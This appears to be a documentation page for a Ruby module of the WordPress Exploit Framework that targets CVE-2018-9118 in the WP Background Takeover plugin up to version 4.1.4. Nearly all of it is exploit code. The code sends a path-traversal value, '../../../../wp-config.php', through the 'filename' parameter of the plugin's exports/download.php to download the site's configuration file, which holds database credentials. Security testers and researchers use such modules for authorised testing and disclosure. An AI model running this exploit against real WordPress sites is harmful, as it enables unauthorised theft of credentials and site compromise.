class Wpxf::Auxiliary::WpBackgroundTakeoverFileDownload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::FileDownload::new
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 6
def initialize
  super

  update_info(
    name: 'WP Background Takeover <= 4.1.4 File Download',
    author: [
      'Colette Chamberland', # Disclosure
      'rastating'            # WPXF module
    ],
    references: [
      ['CVE', '2018-9118'],
      ['WPVDB', '9056']
    ],
    date: 'Apr 06 2018'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 23
def check
  check_plugin_version_from_readme('wpsite-background-takeover', '4.1.5')
end
default_remote_file_path() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 27
def default_remote_file_path
  '../../../../wp-config.php'
end
download_request_params() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 39
def download_request_params
  { 'filename' => remote_file }
end
downloader_url() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 35
def downloader_url
  normalize_uri(wordpress_url_plugins, 'wpsite-background-takeover', 'exports', 'download.php')
end
working_directory() click to toggle source
# File lib/wpxf/modules/auxiliary/file_download/wp_background_takeover_file_download.rb, line 31
def working_directory
  'wp-content/plugins/wpsite-background-takeover/exports/'
end